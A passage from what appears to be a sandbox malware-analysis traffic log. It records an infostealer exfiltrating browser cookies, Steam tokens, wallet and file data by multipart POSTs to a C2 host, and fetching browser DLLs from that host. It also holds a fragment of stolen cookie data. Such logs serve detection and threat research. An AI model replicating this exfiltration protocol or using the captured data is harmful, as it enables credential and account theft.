3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 2d 2d 0d 0a Data Ascii: ------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Y
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGIIHost: 193.233.112.44Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 2d 2d 0d 0a Data Ascii: ------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="file"------FCFBGIDAEHCFIDGCBGII--
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGIDHCAAKEBAKFIIIEBHost: 193.233.112.44Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 2d 2d 0d 0a Data Ascii: ------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="file"------FBGIDHCAAKEBAKFIIIEB--
Source: global traffic	HTTP traffic detected: GET /0853a005e18f0946/freebl3.dll HTTP/1.1Host: 193.233.112.44Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0853a005e18f0946/mozglue.dll HTTP/1.1Host: 193.233.112.44Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0853a005e18f0946/msvcp140.dll HTTP/1.1Host: 193.233.112.44Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0853a005e18f0946/nss3.dll HTTP/1.1Host: 193.233.112.44Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0853a005e18f0946/softokn3.dll HTTP/1.1Host: 193.233.112.44Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0853a005e18f0946/vcruntime140.dll HTTP/1.1Host: 193.233.112.44Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGHJECFCFCBFIDBGCGHost: 193.233.112.44Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHJJDHJEGHJKECBGCFHHost: 193.233.112.44Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 2d 2d 0d 0a Data Ascii: ------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="message"wallets------KFHJJDHJEGHJKECBGCFH--
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDBFCBGDBKKECBFCGIEHost: 193.233.112.44Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 42 46 43 42 47 44 42 4b 4b 45 43 42 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 42 46 43 42 47 44 42 4b 4b 45 43 42 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 42 46 43 42 47 44 42 4b 4b 45 43 42 46 43 47 49 45 2d 2d 0d 0a Data Ascii: ------HIDBFCBGDBKKECBFCGIEContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------HIDBFCBGDBKKECBFCGIEContent-Disposition: form-data; name="message"files------HIDBFCBGDBKKECBFCGIE--
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHJJDGHCBGDHIECBGIDHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKEBKFCAAECAAAAAECHost: 193.233.112.44Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBKFHIJKJKECAAAECAEHost: 193.233.112.44Content-Length: 1763Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCBHost: 193.233.112.44Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIIJJDHDGCGDHIJDAKHost: 193.233.112.44Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHJJDHJEGHJKECBGCFHHost: 193.233.112.44Content-Length: 1763Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCBGIIJKEBFCBGDBAEBHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEHJEHDBGHIDGDGHCBGHost: 193.233.112.44Content-Length: 1763Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJJJKEHCAKFBFHJKEHCHost: 193.233.112.44Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIECAAKECFHIECBKJDHost: 193.233.112.44Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGIIHost: 193.233.112.44Content-Length: 1763Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHDHCAAKECFIDHIEBAKFHost: 193.233.112.44Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIIIDAFBFBKECBGDBGIHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEHCAKFBGDGCAAAFBGHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDAHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKEBGCGHIDHCBFHIDGHHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIECAAKECFHIECBKJDHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGIIHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECAAEHCFIEBGCBGHIEHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEBAAFCAFCBKFHJJJKKFHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHIIIJDAAAAAAKECBFBHost: 193.233.112.44Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJJECBKKECFIEBGCAKJHost: 193.233.112.44Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIEHost: 193.233.112.44Content-Length: 1763Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKECGDBFCBKFIDHIDHDHHost: 193.233.112.44Content-Length: 1763Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHCBKKKFHCGCBFIJEHDHost: 193.233.112.44Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIJEHJDHJKECBFHDHDHHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJJECBKKECFIEBGCAKJHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJKJKKKJJJKJKFHJJJJHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKEHDGDGHCBGCAKFIIIHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKEBGCGHIDHCBFHIDGHHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEHJEHDBGHIDGDGHCBGHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIJJJKKJJDAKEBFIJDHHost: 193.233.112.44Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECAAEHCFIEBGCBGHIEHost: 193.233.112.44Content-Length: 1763Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEBAAFCAFCBKFHJJJKKFHost: 193.233.112.44Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHIIIJDAAAAAAKECBFBHost: 193.233.112.44Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJJECBKKECFIEBGCAKJHost: 193.233.112.44Content-Length: 1763Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJJJKEHCAKFBFHJKEHCHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIECAAKECFHIECBKJDHost: 193.233.112.44Content-Length: 1763Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGIIHost: 193.233.112.44Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFIHost: 193.233.112.44Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCBHost: 193.233.112.44Content-Length: 1763Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIIJJDHDGCGDHIJDAKHost: 193.233.112.44Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHJJDHJEGHJKECBGCFHHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEHIEBGHDAFIEBGIEHJHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKEHJJDAAAAKECBGHDHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCBHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHIDHJDBFIIECAKECBHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKEHJEGCFBFHJJKJEHDHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEHIEBGHDAFIEBGIEHJHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFIHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCBHost: 193.233.112.44Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHCBKKFIJJJECAAFCGIHost: 193.233.112.44Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBGDHIIDAEBFHJJDBFIHost: 193.233.112.44Content-Length: 1763Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDBFCBGDBKKECBFCGIEHost: 193.233.112.44Content-Length: 1763Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEHCAKFBGDGCAAAFBGHost: 193.233.112.44Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEBAECAKKFCBFIEGCBKHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDBFCBKFIDHIDHDHIEHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKEBKFCAAECAAAAAECHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHIDHJDBFIIECAKECBHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHJJDHJEGHJKECBGCFHHost: 193.233.112.44Content-Length: 1747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEHIEBGHDAFIEBGIEHJHost: 193.233.112.44Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 2d 2d 0d 0a Data Ascii: ------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="file"------BAEHIEBGHDAFIEBGIEHJ--
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKFHDAKECFHIDHJDAAAHost: 193.233.112.44Content-Length: 114387Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /383ccd496f3c5eee.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFCBFHJDHJKECAKEHIDHost: 193.233.112.44Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 2d 2d 0d 0a Data Ascii: ------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="message"ybncbhylepme------AKFCBFHJDHJKECAKEHID--
